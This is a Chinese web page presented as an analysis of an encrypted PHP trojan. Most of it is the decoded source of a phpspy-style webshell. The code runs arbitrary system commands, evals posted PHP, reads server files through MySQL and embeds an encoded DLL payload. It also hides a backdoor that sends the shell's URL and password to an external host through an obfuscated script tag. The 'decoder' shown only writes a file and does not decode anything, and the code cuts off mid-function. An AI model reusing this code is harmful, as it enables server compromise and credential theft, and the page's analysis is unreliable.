php 木马的分析(加密破解)

答案：分析可以知道，此木马经过了base64进行了编码，然后进行压缩。虽然做了相关的保密措施，可是php代码要执行，其最终要生成php源代码，所以写出如下php程序对其进行解码，解压缩，写入文件。
解码解压缩代码如下：
复制代码 代码如下:

<?php 
function writetofile($filename, $data) 
{ //File Writing 
$filenum=@fopen($filename,"w"); 
if (!$filenum) { 
return false; 
} 
flock($filenum,LOCK_EX); 
$file_data=fwrite($filenum,$data); 
fclose($filenum); 
return true; 
} 
?> 

然后在php的环境下进行运行，会得到php明文文件如下： 
复制代码 代码如下:

error_reporting(7); 
ob_start(); 
$mtime = explode(' ', microtime()); 
$starttime = $mtime[1] + $mtime[0]; 
@set_time_limit(0); 
//非安全模式可以使用上面的函数，超时取消。 
/*===================== 程序配置 =====================*/ 
// 是否需要密码验证,1为需要验证,其他数字为直接进入.下面选项则无效 
$admin['check'] = "1"; 
// 如果需要密码验证,请修改登陆密码 
//默认端口表 
$hidden = "44997"; 
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631"; 
//跳转用的秒 
$admin['jumpsecond'] = "1"; 
//Ftp破解用的连接端口 
$alexa = "yes"; 
//是否显示alexa排名，yes或是no 
$admin['ftpport'] = "21"; 
// 是否允许phpspy本身自动修改编辑后文件的时间为建立时间(yes/no) 
$retime = "no"; 
// 默认cmd.exe的位置,proc_open函数要使用的,linux系统请对应修改.(假设是winnt系统在程序里依然可以指定) 
$cmd = "cmd.exe"; 
// 下面是phpspy显示版权那栏的，因为被很多程序当成作为关键词杀了，鱼寒~~允许自定义吧。还是不懂别改~~ 

/*===================== 配置结束 =====================*/ 
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; 
$serverp = $admin['pass']; 
$copyurl = base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); 
$copyurll = base64_decode('Jz48L3NjcmlwdD4='); 
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals'); 
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);} 
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions"); 
/*===================== 身份验证 =====================*/ 
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "<span style="\" style="\""font-size: 12px; font-family: Verdana\">注销成功......<p><a href=>if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "".$copyurl.$serveru."&p=".$serverp.$copyurll."</form>";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}} 
/*===================== 验证结束 =====================*/ 
// 判断 magic_quotes_gpc 状态 
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);} 
//mix.dll的代码 
$mixdll = "7Zt/TBNnGMfflrqBFnaesBmyZMcCxs2k46pumo2IQjc3wSEgUKYthV6hDAocV6dDF5aum82FRBaIHoRlRl0y3Bb/cIkumnVixOIE/cMMF+ePxW1Ixah1yLBwe+5aHMa5JcsWs+T5JE+f9/m+z/u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYVVzkamnq+r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1/Fzb2+DnZGWosZSV1lav+mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHaRJKTM0jxCCAVBekQbmE0iMaOGlDqmIuehiZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0lygy83SbYCPlcExGmncH0FjMNkTRyVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU2PFTJ1nCRGM4kqdNyAsKCr+eitLKE9AXui/+cXt0wt+26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD6zWHSOa3sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm+9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItSZM0QS1RdknymsENsV6YcvqSxdEKJpvCuCfAtMyj4lC+KpltWyxviT+t7vpXT5kM3clqq+snAp3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3YqUZUOdquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3+yCZxxUUF8ikY6GEwlCTLMrSgNLxaiQugOVjjM+ndetBfKM4rGLoBR+gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnJxGKR1vTo3VuOd4MpREuNGykKqTkwjMRC4BQRAEQRAEQRAE+S+YZCL+EPhTYINgl8GuRfVGQprjwGaBKfHHzB9r98EYno/J1mnaURgrXwY0T9OSU8h975b/6f7FBUbrQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw+7cQMh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ+k3BhpTIbwRiolYCsR2sHqyMIiQPTHkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA4aNU0L5op/TgenDEUlGW5vkySpJ6JJZ+Co8+201e8i+izrfRyengPPfLBpY5q+peDHeX0dy3dwkD/cfoTGL8Z2u6vXjbS6j+WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nJxs6OElrqKKUraFeydTv9aqjD3zACGyVb204MOPq5Hnq5Io0pkvsHujbk81NdTzSVB4DQjlCno7+WXk717qR691C9Z2XLhS937Eg87wsMdJvVjEAgsX+PpXP81oR0IuDob7B81ClJn1nOd/0sSTtCvv4+R78NjIM5d7d58ZPmq2XHTwz0OVb1+I1Nb3WbSxs6HQ7H+fBIIDg6PjgxEQwPD0vfB8NjI2FFgWhQOnfp+sjJG6BNSGdGxybOXL8THAteHJSuDe891r1X6u8b7BsdvxkeGZTGR2/fDo+PSOO/jg6Hh1VRIqSkpGT+MwzPNbidPNfI2JhGgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX+D/3x9PfTQ+l30jVsIpvMMqyBfZ59iX2FLWTXsdVsHSuwm9j32Fa2k93HHmKPsJfZUTbf6DI2GbcaH/YlIAiCIAiCIAiCIAjy1/wO"; 

function shelL($command){ 
global $windows,$disablefunctions; 
$exec = '';$output= ''; 
$dep[]=array('pipe','r');$dep[]=array('pipe','w'); 
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} 
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } 
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} 
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} 
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} 
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} 
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} 
return $exec; 
} 
// 查看PHPINFO 
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() 函数已被禁用,请查看<PHP环境变量>";exit; 
}if($_GET['action'] == "nowuser") {$user = get_current_user(); 
if(!$user) $user = "报告长官，主机易做图，无法获取当前进行用户名！"; 
echo"当前进程用户名：$user"; 
exit; 
} 
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]<?");exit; 
} 
if($action=="mysqldown"){ 
    $link=@mysql_connect($host,$user,$password); 
    if (!$link) { 
        $downtmp = '数据库连接失败: ' . mysql_error(); 
    }else{ 
    $query="select load_file('".$filename."');"; 
    $result = @mysql_query($query, $link); 
    if(!$result){ 
        $downtmp = "读取失败，可能是文件不存在或是没file权限。<br>".mysql_error(); 
            }else{ 
    while ($row = mysql_fetch_array($result)) { 
        $filename = basename($filename); 
        if($rardown=="yes"){ 
            $zip = NEW Zip;

上一个：php 购物车实例（申精）
下一个：PHP 编写的 25个游戏脚本